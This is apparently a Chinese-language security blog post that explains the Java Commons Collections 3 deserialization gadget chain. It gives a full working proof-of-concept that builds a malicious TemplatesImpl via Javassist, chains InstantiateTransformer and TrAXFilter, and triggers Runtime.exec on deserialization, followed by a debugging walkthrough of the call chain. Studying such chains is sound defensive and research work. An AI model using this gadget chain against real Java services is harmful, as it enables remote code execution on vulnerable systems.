Java安全之Commons Collections3分析
Java安全之Commons Collections3分析
文章首发:Java安全之Commons Collections3分析
0x00 前言
在学习完成前面的CC1链和CC2链后,其实再来看CC3链会比较轻松。CC1的利用链是
Map(Proxy).entrySet()
触发AnnotationInvocationHandler.invoke()
,而CC2链的利用链是通过InvokerTransformer.transform()
调用newTransformer
触发RCE。这里就不说这么详细感兴趣可以看前面几篇文章。听说CC3链是CC1和CC2链的结合体。下面来分析一下CC3链。
0x01 前置知识
在CC3利用链的构造里面其实没有用到很多的新的一些知识点,但是有用到新的类,还是需要记录下来。
InstantiateTransformer
首先还是查看一下构造方法。
在查看下面的代码的时候会发现他的transform
方法非常的有意思。
transform
方法会去使用反射实例化一个对象并且返回。
TrAXFilter
查看TrAXFilter
的构造方法,会发现更有意思的事情
_transformer = (TransformerImpl) templates.newTransformer();
调用了传入参数的newTransformer()
方法。在CC2链分析的时候,使用的是反射调用newTransformer
,newTransformer
调用defineTransletClasses()
。最后再调用_class.newInstance()
实例化_class
对象。那么如果是使用TrAXFilter
的话,就不需要InvokerTransformer
的transform
方法反射去调用了。
0x02 POC分析
package com.test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IOException, IllegalAccessException, InvocationTargetException, InstantiationException, NotFoundException, CannotCompileException, NoSuchFieldException {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections333333333");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes=payload.toBytecode();
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});
Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templatesImpl,"test");
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map map=new HashMap();
Map lazyMap= LazyMap.decorate(map,chainedTransformer);
Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
Object object=constructor.newInstance(Override.class,map1);
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(object);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
}
}
上面是一段POC代码,先来分析一下,POC为什么要这样去构造。
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections22222222222");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes=payload.toBytecode();
先来执行一遍看一下执行的结果
能够执行成功并且弹出计算器。
其实看到代码前面部分,和CC2利用链的构造是一模一样的。在CC2链中分析文章里面讲到过。这里就来简单概述一下。
这里是采用了Javassist
方式创建一个类,然后设置该类的主体为Runtime.exec("clac.exe")
,设置完成后,将该类转换成字节码。
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});
Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templatesImpl,"test");
反射获取TemplatesImpl
类的_bytecodes
成员变量,设置值为上面使用Javassist
类转换后的字节码。
反射获取TemplatesImpl
类的_name
成员变量,设置值为test。
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
ConstantTransformer
在调用transform
方法的时候,会遍历的去调用数组里面transform
方法。并且将执行结果传入到第二次遍历执行的参数里面。
第一次执行this.iTransformers[i]
为ConstantTransformer
。所以,调用的是ConstantTransformer
的transform
方法该方法是直接返回传入的对象。这里返回了个TrAXFilter.class
对象。
而在第二次遍历执行的时候传入的就是TrAXFilter.class
对象,然后再反射的去获取方法,使用newInstance
实例化一个对象并且进行返回。
Map map=new HashMap();
Map lazyMap= LazyMap.decorate(map,chainedTransformer);
这里是将上面构造好的ChainedTransformer
的实例化对象,传入进去。在调用lazyMap
的get方法的时候,就会去调用构造好的ChainedTransformer
对象的transform
方法。
那么下面就会引出lazyMap
的get方法的调用问题,再来看下面一段代码。
Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
Object object=constructor.newInstance(Override.class,map1);
反射创建了一个AnnotationInvocationHandler
对象,传入Override.class
和lazyMap
的对象,并使用AnnotationInvocationHandler
作为调用处理器,为lazyMap
做一个动态代理。关于这里为什么要传入一个Override.class
的问题,其实因为AnnotationInvocationHandler
本来就是一个处理注解的类,构造方法的第⼀个参数是⼀个Annotation类类型参数,第二个是map类型参数(所有的注解类型都继承自这个Annotation接口)。在这里面不管传入的是Retention.class
还是Override.class
都是可行的。
这的lazyMap
作为被代理的对象后,调用任意的方法都会去执行调用处理器的invoke
方法。AnnotationInvocationHandler
实现了InvocationHandler
,可以被当作调用处理器传入。而我们在这时候调用lazyMap
的任意方法的话,就会执行一次AnnotationInvocationHandler
中的invoke
方法。而在AnnotationInvocationHandler
的invoke
方法中就会调用get方法。
在调用get方法后又回到了前面说到的地方,这里就会去调用transform
方法去完成后面的命令执行。这里先不细说。
在分析完POC代码后其实并没有去看到一个完整的调用链,这里有必要去调试一遍。
0x03 CC3链调试
先在AnnotationInvocationHandler
的readobject
方法中去打个断点进行调试分析
在这里可以看到这里的this.memberValues
的值为被代理的lazyMap
的对象,调用了lazyMap
的entrySet
方法。那么这时候被代理对象的调用处理器的invoke
方法会执行。前面说过使用的AnnotationInvocationHandler
作为调用处理器,这里调用的就是AnnotationInvocationHandler
的invoke
方法,跟进一下invoke
方法。
invoke
方法在内部调用了lazyMap
的get方法,再来跟进一下get方法
到这里其实就能看到了 this.factory.transform(key);
,调用了transform
方法,在这里的this.factory
为ChainedTransformer
的实例化对象。再来跟进一下transform
方法就能看到ChainedTransformer
的transform
内部的调用结构。
在POC构造的时候为ChainedTransformer
这个对象传入了一个数组,数组的第一值为ConstantTransformer
实例化对象,第二个为InstantiateTransformer
实例化对象。
所以在这里第一次遍历this.iTransformers[i]
的值为ConstantTransformer
。ConstantTransformer
的transform
会直接返回传入的对象。在POC代码构造的时候,传入的是TrAXFilter
对象,所以在这里会直接进行返回TrAXFilter
,并且会作为第二次遍历的传参值。
而在第二次遍历的时候,this.iTransformers[i]
的值为InstantiateTransformer
的实例化对象。所以调用的是InstantiateTransformer
的transform
方法并且传入了TrAXFilter
对象。跟进一下InstantiateTransformer
的transform
方法。
这里其实是比较有意思的,刚刚传入的是TrAXFilter
对象,所以这里的input为TrAXFilter
,this.iParamTypes
为Templates
,this.iArgs
为构造好的恶意TemplatesImpl
实例化对象。(这里之所以说他是恶意的TemplatesImpl
对象是因为在前面使用反射将他的_bytecodes
设置成了一个使用javassist
动态创建的恶意类的字节码)
该transform
方法中使用getConstructor
方法获取TrAXFilter
参数为Templates
的构造方法。
使用该构造方法创建一个对象,并且传入恶意的TemplatesImpl
实例化对象。在该构造方法当中会调用TemplatesImpl
的newTransformer
方法。跟进一下newTransformer
方法。
newTransformer
方法内部调用了getTransletInstance
方法再跟进一下。
这里可以看到先是判断了_name
的值是否为空,为空的话就会执行返回null,不向下执行。这也是前面为什么使用反射获取并且修改_name
值的原因。
下面一步是判断_class
是否为空,显然我们这里的_class
值是null,这时候就会调用defineTransletClasses
方法,跟进一下。
下面标注出来这段是_bytecodes
对_class
进行赋值,这里的_bytecodes
的值是使用javassist
动态创建的恶意类的字节码 执行完后,来到下一步。
这里会对该字节码进行调用newInstance
方法实例化一个对象,然后就可以看到命令执行成功。
关于这个为什么调用newInstance
实例化一个对象,命令就直接执行成功的问题,其实我的在CC2链分析里面也说到过,主要还是看使用javassist
动态创建一个类的时候,他是怎么去构造的。
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections22222222222");
payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
payload.writeFile("./");
先将该类写出来到文件中,然后再去查看。
看到这个其实就一目了然了,使用setBody
设置主体的时候,代码其实是插入在静态代码块中的。静态代码块的代码在实例化对象的时候就会进行执行。
调用链
AnnotationInvocationHandler.readobject->(proxy)lazyMap.entrySet
->AnnotationInvocationHandler.invoke->lazyMap.get
->ChainedTransformer.transform->ConstantTransformer.transform
->InstantiateTransformer.transform->TrAXFilter(构造方法)
->TemplatesImpl.newTransformer->TemplatesImpl.getTransletInstance
->TemplatesImpl.defineTransletClasses
->(动态创建的类)cc2.newInstance()->Runtime.exec()
0x04 结尾
其实在调试CC3这条利用链的时候,会发现前半部分使用的是CC2利用链的POC代码,而后半部分则是CC1的利用链代码。调试过这两条利用链的话,调试CC3这条利用链会比较简单易懂。
在写这篇文的时候,第一次刚码完字,电脑就蓝屏了。重新打开文件的时候,文章的文件也清空了。只能重写一遍,但是重写完后,发现虽然字数也差不多,但是感觉细节点的地方还是少了东西,但是又不知道具体在哪些地方少了。
Java安全之Commons Collections3分析的更多相关文章
- Ysoserial Commons Collections3分析
Ysoserial Commons Collections3分析 写在前面 CommonsCollections Gadget Chains CommonsCollection Version JDK ...
- Java安全之Commons Collections1分析(二)
Java安全之Commons Collections1分析(二) 0x00 前言 续上篇文,继续调试cc链.在上篇文章调试的cc链其实并不是一个完整的链.只是使用了几个方法的的互相调用弹出一个计算器. ...
- Java安全之Commons Collections1分析(一)
Java安全之Commons Collections1分析(一) 0x00 前言 在CC链中,其实具体执行过程还是比较复杂的.建议调试前先将一些前置知识的基础给看一遍. Java安全之Commons ...
- Java安全之Commons Collections1分析前置知识
Java安全之Commons Collections1分析前置知识 0x00 前言 Commons Collections的利用链也被称为cc链,在学习反序列化漏洞必不可少的一个部分.Apache C ...
- Java安全之Commons Collections1分析(三)
Java安全之Commons Collections1分析(三) 0x00 前言 继续来分析cc链,用了前面几篇文章来铺垫了一些知识.在上篇文章里,其实是硬看代码,并没有去调试.因为一直找不到JDK的 ...
- Java安全之Commons Collections2分析
Java安全之Commons Collections2分析 首发:Java安全之Commons Collections2分析 0x00 前言 前面分析了CC1的利用链,但是发现在CC1的利用链中是有版 ...
- Java安全之Commons Collections5分析
Java安全之Commons Collections5分析 文章首发:Java安全之Commons Collections5分析 0x00 前言 在后面的几条CC链中,如果和前面的链构造都是基本一样的 ...
- Java安全之Commons Collections7分析
Java安全之Commons Collections7分析 0x00 前言 本文讲解的该链是原生ysoserial中的最后一条CC链,但是实际上并不是的.在后来随着后面各位大佬们挖掘利用链,CC8,9 ...
- Java安全之Commons Collections6分析
Java安全之Commons Collections6分析 0x00 前言 其实在分析的几条链中都大致相同,都是基于前面一些链的变形,在本文的CC6链中,就和前面的有点小小的区别.在CC6链中也和CC ...
随机推荐
- Python实现拆分多级目录的方式
1 环境 操作系统:Windows10 Python版本:Python3.7 2 简介 实现多级目录差分,举例说明如下: 假设现有的目录结构如下:1.2.2.1.2.2.2.3.2.4.3.4.5.6 ...
- Linux幽灵漏洞修复
1. 漏洞说明 1.1 漏洞原理 glibc是GNU发布的libc库,即c运行库,在glibc库中的__nss_hostname_digits_dots()函数存在一个缓冲区溢出的漏洞,这个漏洞可以经 ...
- hystrix源码之插件
HystrixPlugins 获取并发相关类(HystrixConcurrencyStrategy).事件通知类(HystrixEventNotifier).度量信息类(HystrixMetricsP ...
- 【Netty之旅四】你一定看得懂的Netty客户端启动源码分析!
前言 前面小飞已经讲解了NIO和Netty服务端启动,这一讲是Client的启动过程. 源码系列的文章依旧还是遵循大白话+画图的风格来讲解,本文Netty源码及以后的文章版本都基于:4.1.22.Fi ...
- 刷题[WUSTCTF2020]CV Maker
解题思路 好家伙,打开一看像是cms,又看名字CV Maker.我以为直接要搜cve打了.搜了一会发现没什么啊.那先正常做把. 注册 注册成功后这里报错,猜测可能有注入点.先放在这里,继续登陆.发现是 ...
- MySQL中的临时表到底什么是?
Author:极客小俊 一个专注于web技术的80后 我不用拼过聪明人,我只需要拼过那些懒人 我就一定会超越大部分人! CSDN@极客小俊,原创文章, B站技术分享 B站视频 : Bilibili.c ...
- Java基础——克隆
1.克隆 假设有一个对象object1,在某处又需要一个跟object1一样的实例object2,这两个对象是绝对独立的,不会因为某一个修改另一个随之改变,这样,我们不能直接将对象objec1t的引用 ...
- CTFshow_Web入门源码
Web1 题目打开始是这样的 直接看源码 Web2 题目打开是这样的,右键无法打开菜单,无法查看源码,F12也不可以 更改JavaScript权限,即可查看源码 Web3 真就抓个包看看 Web4 访 ...
- makefile实验二 对目标的深入理解 以及rebuild build clean的实现
(一) rebuild build clean的实现 新知识点: 当一个目标的依赖是一个伪目标时,这个伪目标的规则一定会被执行. 贴实验代码 CC := gcc Target := helloworl ...
- 题解【[USACO18FEB]New Barns 】
浅谈一下对于这题做完之后的感受(不看题解也是敲不出来啊qwq--) 题意翻译 Farmer John注意到他的奶牛们如果被关得太紧就容易吵架,所以他想开放一些新的牛棚来分散她们. 每当FJ建造一个新牛 ...